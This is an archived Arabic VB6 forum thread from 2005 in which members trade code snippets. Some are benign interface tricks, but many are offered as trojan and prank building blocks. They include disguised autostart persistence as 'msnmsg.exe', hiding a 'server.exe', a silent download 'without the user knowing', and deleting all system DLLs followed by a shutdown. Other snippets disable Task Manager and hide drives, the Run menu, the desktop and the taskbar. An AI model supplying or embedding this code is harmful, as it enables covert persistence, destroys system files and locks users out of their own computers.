الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

اكواد رائعه جدا سوف تعجبك كثيررررا

مغلق
بدأه boooo7 في 6 يوليو 2005 · 30 رد · 4,515 مشاهدة · في لغة Ms Visual Basic 6 وما قبلها من إصدارات
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ورحمة الله وبركاته

واشكركم على هذا الموقع الضخم والبرمجي وجزاكم الله خيرا

=======================================================

كود تشغيل برنامج مع بداية تشغيل الويندوز

ضع هذا الكود في العام

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _

Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _

String, ByVal ulOptions As Long, ByVal samDesired As Long, _

phkResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal _

hKey As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" _

Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _

As String, ByVal Reserved As Long, ByVal dwType As Long, _

lpData As Any, ByVal cbData As Long) As Long

Private Const HKEY_LOCAL_MACHINE = &H80000002

Private Const KEY_WRITE = &H20006

Private Const REG_SZ = 1

ضع هذا الكود في Form_Load

Dim hregkey As Long

Dim SubKey As String

Dim stringbuffer As String

SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"

retval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, SubKey, 0, _

KEY_WRITE, hregkey)

If retval <> 0 Then

Exit Sub

End If

stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar

retval = RegSetValueEx(hregkey, "msnmsg.exe", 0, REG_SZ, _

ByVal stringbuffer, Len(stringbuffer))

RegCloseKey hregkey

قم فقط بتغيير msnmsg.exe الي اسم برنامجك وسوف يعمل مع تشغيل الويندوز

========================================================

كود يقوم بنسخ ملف من مكان الي اخر

filecopy "C:\sever.exe", "D:\sever.exe"

يقوم بنسخ ملف server من السي الي الدي

======================================================

هذا الكود تعمله بالتايمر يقوم بتفيذ الشرط بعد دقيقتين

Private Sub Timer1_Timer()

Static seconds

seconds = seconds + 1

If seconds = 2 * 60 Then يقوم على تنفيذ الشرط بعد دقيقتين اذا تبغاه ثلاث دقائق غير الي 3

MsgBox ("ffffff")

End If

End Sub

========================================================

if seconds=60*60 then بعد ساعه

بعد 24 ساعة

مثلا :

if seconds=(24*60) * 60 then

=======================================================

جعل الفورم شبه دائري وتقدر تغير في شكله اذا غيرت في الارقام

Private Declare Function CreateEllipticRgn Lib "gdi32" _

(ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, _

ByVal Y2 As Long) As Long

Private Declare Function SetWindowRgn Lib "user32" _

(ByVal hWnd As Long, ByVal hRgn As Long, _

ByVal bRedraw As Boolean) As Long

Private Sub Form_Load()

SetWindowRgn hWnd, CreateEllipticRgn(0, 0, 300, 300), True

End Sub

تشوف 300 , 300 غير فيها ويتغير شكل الفورم

=========================================================

وضع برنامجك في البار بجنب الماسينجر والساعه

ضعه في العام فقط

''SHELL_NOTIFYICON API CALL

Private Declare Function Shell_NotifyIcon Lib "Shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean

Private nid As NOTIFYICONDATA

''SYSTEM TRAY ICON

Private Type NOTIFYICONDATA

'User defined type required by Shell_NotifyIcon API call

cbSize As Long

hWnd As Long

uId As Long

uFlags As Long

ucallbackMessage As Long

hIcon As Long

szTip As String * 64

End Type

Private Const NIF_ICON = &H2

Private Sub Form_Load()

On Error Resume Next

With nid

.cbSize = Len(nid)

.hWnd = Me.hWnd

.uId = vbNull

.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE

.ucallbackMessage = WM_MOUSEMOVE

.hIcon = Form1.Icon 'Put your form's name here

.szTip = "Emberson Fx Napster Buddy" & vbNullChar

End With

Shell_NotifyIcon NIM_ADD, nid 'Add icon to system tray

End Sub

=========================================================

يقوم على اخفاء ملف

SetAttr "d:\server.exe", vbHidden

فقط ضع مساره الصحيح

========================================================

يقوم على اظهار ملف

SetAttr "d:\server.exe", vbshow

فقط ضع مساره الصحيح

========================================================

Private Sub Timer1_Timer()

Label1.ForeColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)

End Sub

ضع عباره Label1 وسوف يقوم بتغييرها الي عدة الوان

=======================================================

Private Sub Timer1_Timer()

Static samer As Boolean

If samer = True Then

Set Image1.Picture = LoadPicture("d:\debug01.gif")

samer = False

Else

Set Image1.Picture = LoadPicture("d:\debug02.gif")

samer = True

End If

End Sub

يقوم بتغيير والتبديل بين صورتين وكانها صورة متحركه

=======================================================

ادراج الفلاش في برنامجك

يجب ان تضيف اداة الفلاش واسمها

shockwave flash.ocx

وبعدين تحط هالكود

Private Sub Form_Load()

ShockwaveFlash1.Movie = App.Path + "\jo.swf"

End Sub

طبعا اسم ملف الفلاش لازم يكون

jo

ويكون موجود في نفس مكان البرنامج سهل جدا

=========================================================

فتح سيدي واغلاقه في التايمر

ضعه في العام

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Public Sub OpenCDDriveDoor(ByVal State As Boolean)

If State = True Then

Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)

Else

Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)

End If

End Sub

Private Sub Timer1_Timer()

OpenCDDriveDoor (False)

End Sub

Private Sub Timer2_Timer()

OpenCDDriveDoor (True)

End Sub

=========================================================

اخفاء البار بزر الكومند وتستطيع جعله بالتايمر

Private Declare Function FindWindow Lib "user32" Alias _

"FindWindowA" (ByVal lpClassName As String, _

ByVal lpWindowName As String) As Long

Private Declare Function ShowWindow Lib _

"user32" (ByVal hwnd As Long, _

ByVal nCmdShow As Long) As Long

Sub HideTaskBar()

Dim Wnd&

Wnd = FindWindow("Shell_traywnd", vbNullString)

ShowWindow Wnd, 0

End Sub

Sub ShowTaskBar()

Dim Wnd&

Wnd = FindWindow("Shell_traywnd", vbNullString)

ShowWindow Wnd, 1

End Sub

Private Sub Command1_Click()

Call HideTaskBar

End Sub

Private Sub Command2_Click()

Call ShowTaskBar

End Sub

=======================================================

واتمنى انها تعجبكم

اخوكم طلال العنزي البوح

#2

جزاك الله خيرا أخي boooo7

essam.gif

منتديات كوكب الكمبيوتر

لكل جديد في عالم تكنولوجيا المعلومات والكمبيوتر والأخبار العلمية

http://www.planetss.com/vb

#3

مجهود رائع شكراً لك

مواضيع و دروس
الكتابة بعدة ألوان داخل الــ TetxBoxمكتبة الأكوادتحميل الــ Visual Basic Express 2005
تحميل فيجوال بسيك 6أكواد × أكواددروس في الخوارزميات
لتحميل عدة إصدارات من كريستال ريبورتتحميل برنامج Activ Skin 4.3جمل الــ Sql من الألف إلى الياء
معظم المواقع المختصة بالفيجوال بيسيكموقع كويس للأيقوناتمرجع شامل لأدوات ActivX
كيفية نطق الحرف المكتوب شرح عن كيفية إقامة علاقة مع Data Reprot باستخدام الــ DataEnvironment علاقة مع الـ Datareport بدون استخدام DataEnvironment (( شرح ))
كتاب Migrating From DAO to ADOإضافة لـ VB6 بريمج IndenterVB, إضافة لبيئة تطوير فيجوال بيسك 6حوار بينى و بين عضو حول ال winsock , اتمنى ان يعجبكم
Smart Indenter 3.5 لتنسيق الأكواد, هديه لكل الأعضاء السلسلة الدهبية في المواضيع العلمية ، إستغلال الـ Balloons في الـ Windows XP مصفوفات الأدوات Control Arrays افكار وتلميحات ! , لمن افتقدها من أيام الـ VB6.0
جعل خلفية الـ Mid Form تظهر بالكامل خواص الاداة Winsock لربط الاجهزة عن طريق الانترنتكيف يتم عمل تقارير بإستخدام HTML

7.gif
#5

شكراً على هذا المجهود الرائع , وهذا كود اخر

لعمل درايف وهمى

Private Sub Command1_Click()
Shell "command.com /c subst k: c:\windows", vbHide
End Sub

لحذف الدرايف

Private Sub Command2_Click()
Shell "command.com /c subst k:  /d", vbHide
End Sub

تم تعديل هذه المشاركة بواسطة GHOST2010 في 8 يوليو 2005 في 12:07

إن قلت قال الله قال رسولـه همزوك همز المنكر المتعالي
أو قلت قد قال الصحابة والألـى تبعاً لهم بالقول والأعمال
أو قلت قـال الشافعي وأحمد و أبو حنيفة والإمام الغالي
صدوا عن وحي الإله ودينـه واحتالوا على حرام الله بالإحلال
يا أمةً لعبت بدين نبيها كتلاعب الصبيان في الأوحال
حاشا رسول الله يحكم بالهوى تلك إذاً حكومة الضلال

feed.1.gif

#6

مشكور اخوي على الاكواد الرائعه

يقوم بنقل الملف بدون ماتحدد مساره

Name App.Path & App.EXEName & ".exe" As "c:\n.exe"

-------------------------------------------------------------------------------------------

يقوم بنسخ الملف بدون ماتحدد مساره

FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\k.exe"

--------------------------------------------------------------------------------------------

كود يقوم باخفاء السي

ضعه في الفروم ولا زر كومند

Dim WSH As Object

Set WSH = CreateObject("Wscript.Shell")

WSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", 4, "REG_DWORD"

واللي عنده اظهار السي ياليت يحط الكود

========================================================

#8

شكرا لك على هذه الاكواد الرائعة

127gq4.png
#9

مشكووور

#10

السلام عليكم ورحمة الله وبركاته

تكمله للاكواد

Open "c:\booo7.txt" For Append As #1

Print #1, "boooo7"

Close #1

End Sub

هذا الكود يقوم على كتابة سطر في ملف تيكست وحفظه باسم boooo7

قمت بتغيير فيه بحيث عندما تكتب اي نص في text1.txt يقوم بكتابته في ملف boooo7.txt وحفظه

Open "c:\boooo7.txt" For Append As #1

Print #1, Text1.Text

Close #1

ضع تيكست و زر كومند في الفورم وجرب الطريقه

#11

رائع اخي .. اكواد مفيده جدا .. اشكر ..

أشهد أن لا إله إلا الله ***************** وأشهد أن محمد عبده ورسوله

#12

لعادة تشغيل الجهاز

ضع هذا الكود في الموديل

Declare Function ExitWindowsEx Lib "user32" _

(ByVal uFlags As Long, ByVal dwReserved _

As Long) As Long

ثم ضع هذا في الود فروم او في زر كومند

t& = ExitWindowsEx(EWX_REBOOT, 0)

----------------------------------------------------------------------------------------------------

اتمنى من لديه اكواد ان يضعها هنا

تحياتي

#14

تحياتي لكم

شفره قويه جدا ورااااااااائعه

شغلتها تقوم بتنزيل الملف في جهازك وانت ماتدري يعني مراح يطلع لك هل تريد تحميل هذا الملف

ضع هذا الكود في التصريح

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

ضع هذا الكود في الفورم او زر الكومند

Private Sub Command1_Click()

lngRetVal = URLDownloadToFile(0, "http://www.website.com/ip.txt", "c:\ip.txt", 0, 0)

End Sub

اتمنى انها تعجبكم

وياليت اللي عنده اكواد يضيفها هنا

#15

شكرا لك

وانا ساضيف بعض الاكواد بعد اذنك

لمعرفة هل الجهاز متصل بالإنترنت أم لا.

هذا الكود في موديول

Public Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long

Public Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long

Public Const RAS95_MaxEntryName = 256

Public Const RAS95_MaxDeviceType = 16

Public Const RAS95_MaxDeviceName = 32

Public Type RASCONN95

dwSize As Long

hRasCon As Long

szEntryName(RAS95_MaxEntryName) As Byte

szDeviceType(RAS95_MaxDeviceType) As Byte

szDeviceName(RAS95_MaxDeviceName) As Byte

End Type

Public Type RASCONNSTATUS95

dwSize As Long

RasConnState As Long

dwError As Long

szDeviceType(RAS95_MaxDeviceType) As Byte

szDeviceName(RAS95_MaxDeviceName) As Byte

End Type

وهذا الكود في الفورم

[code]

Public Function IsConnected() As Boolean

Dim TRasCon(255) As RASCONN95

Dim lg As Long

Dim lpcon As Long

Dim RetVal As Long

Dim Tstatus As RASCONNSTATUS95

TRasCon(0).dwSize = 412

lg = 256 * TRasCon(0).dwSize

RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)

If RetVal <> 0 Then

MsgBox "ERROR"

Exit Function

End If

Tstatus.dwSize = 160

RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)

If Tstatus.RasConnState = &H2000 Then

IsConnected = True

Else

IsConnected = False

End If

End Function

127gq4.png
#16

فتح برنامج المفكرة والإضافة عليه

Private Sub Command1_Click()

Shell "notepad.exe", vbNormalNoFocus

AppActivate ("المفكرة")

SendKeys ("منتديات الفريق العربي للبرمجه")

End Sub

=======================================================

اخفاء محتويات محرك قرص

ضعه في زر كومند او الفورم او التايمر

Dim WSH As Object

Set WSH = CreateObject("Wscript.Shell")

WSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive", 16, "REG_DWORD"

========================================================

يقوم بحذف جميع ملفات dll في system

Call Kill ("C:\WINDOWS\SYSTEM\ *.dll")

Call Shell("Rundll32.exe user,exitwindows")

========================================================

كود قطع الاتصال بالانترنت

If InternetAutodialHangup(0) Then

MsgBox "You're Disconnected!", vbInformation

End If

======================================================

تغيير اسم القرص

في التصريح

Private Declare Function SetVolumeLabel Lib "kernel32.dll" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long

Private Sub Command1_Click()

Dim rval As Long

rval = SetVolumeLabel("C:\", Text1.Text)

End Sub

Private Sub Form_Load()

Text1.Text = "Driver 1"

End Sub

غيره الي اسم تبغاه

===================================================

#18
اقتباس
هذا الكود انا مكتشفه ههههههههه

يااااااه إنت لسه مكتشفه <_< إذا كيف كنت تتعامل مع الرجستري :blink:

#21

اخى boooo7 جزاك الله كل خير على ماتقدمه لنا من معلومات لكن اتمنى ان تستخدم الوسم الخاص بالاكواد حتى يكون الشكل متميز مثل الجوهر

اخى بلال كما قال مؤيد الانسان لايولد وهو يعرف كل شئ فكلنا حتى الان مبتدئين :rolleyes:

إن قلت قال الله قال رسولـه همزوك همز المنكر المتعالي
أو قلت قد قال الصحابة والألـى تبعاً لهم بالقول والأعمال
أو قلت قـال الشافعي وأحمد و أبو حنيفة والإمام الغالي
صدوا عن وحي الإله ودينـه واحتالوا على حرام الله بالإحلال
يا أمةً لعبت بدين نبيها كتلاعب الصبيان في الأوحال
حاشا رسول الله يحكم بالهوى تلك إذاً حكومة الضلال

feed.1.gif

#22

هذا الكود يبحث عنه الاغلبيه وفي منتديات كثيره وهو يحمل شقين

الاول يقوم على تعطيل قائمة المهام اي عندما تقوم بالضغط على alt+ctrl+del لاتظهر قائمة المهام

وتظهر لك رساله " تعم تعطيل قائمه المهام من قبل المسؤول

Private Sub Command1_Click()
Const HKCU = &H80000001
Set objReg = GetObject("winmgmts:\\.\root\" & _
"Default:StdRegProv")


strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Policies\System\"
objReg.Createkey HKCU, "Software\Microsoft\Windows\CurrentVersion\Policies\System"
objReg.SetDwordValue HKCU, strKeyPath, "DisableTaskMgr", 1

والشق الثاني هو يقوم على تشغيل قائمة المهام واستعادتها اي تشغيلها

Private Sub Command1_Click()
Const HKCU = &H80000001
Set objReg = GetObject("winmgmts:\\.\root\" & _
"Default:StdRegProv")

'For XP
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Policies\System\"
objReg.Createkey HKCU, "Software\Microsoft\Windows\CurrentVersion\Policies\System"
objReg.SetDwordValue HKCU, strKeyPath, "DisableTaskMgr", 0

الشغله كلها في تغيير القيمه اذا جعلتها 1 لاتعمل قائمة المهام اذا جعلتها 0 تعمل قائمه المهام

objReg.SetDwordValue HKCU, strKeyPath, "DisableTaskMgr", 0

لاحظ هذا الكود ولاحظ اخر رقم وهو صفر اذا غيرته الي 1 لاتعمل قائمة المهام

اتمنى انكم فهمتوا علي

اشكر الاخ goldnoil على موضوعه الرائع والمثير بخصوص التعامل مسجل النظام Registry Editor اسرار وخفايا, كل ما تود معرفته عن الريجستري

وهذا عنوان موضوعه وانصح كل شخص ان يشاهده

/index.php?showtopic=40420

والسلام ختام

#23

رائع جدا

شكرا

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#24

سئلنا كثيرا عن الكود الذي يقوم باظهار محرك الاقراص السي

وهو نفس الكود الذي يقوم باخفائه ولكن قم بتغيير القيمه الي صفر

Private Sub Command1_Click()
Const HKCU = &H80000001
Set objReg = GetObject("winmgmts:\\.\root\" & _
"Default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
objReg.Createkey HKCU, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
objReg.SetDwordValue HKCU, strKeyPath, "noDrives", 0

لاحظ هذه القيمه

"noDrives", 0

اذا كان صفر = يرجع كل شي كما هو

اذا كان 4 = اخفي السي

اذا كان 3 = اخفى قرص مرن 3.5

اذا كان 6= اخفي القرص c و القرص المرن

طبعا صفر = يرجع كل شي كما هو

هذا والله اعلم

#25

تكمله لمكتبة الاكواد

كود يقوم على اخفاء run في قائمة ابدأ نهائيا

Const HKCU = &H80000001
Set objReg = GetObject("winmgmts:\\.\root\" & _
"Default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
objReg.Createkey HKCU, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
objReg.SetDwordValue HKCU, strKeyPath, "Norun", 1

اذا اردت استرجاع run غيرفقط في القيمه الي صفر في هذا المقطع "Norun", 1

______________________________________________________________

اخفاء سطح المكتب نهائيا Desktop

Const HKCU = &H80000001
Set objReg = GetObject("winmgmts:\\.\root\" & _
"Default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
objReg.Createkey HKCU, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
objReg.SetDwordValue HKCU, strKeyPath, "NoDesktop", 1

لاسترجاع سطح المكتب غير في القيمه الي صفر

هذا الموضوع مغلق.

مواضيع مشابهة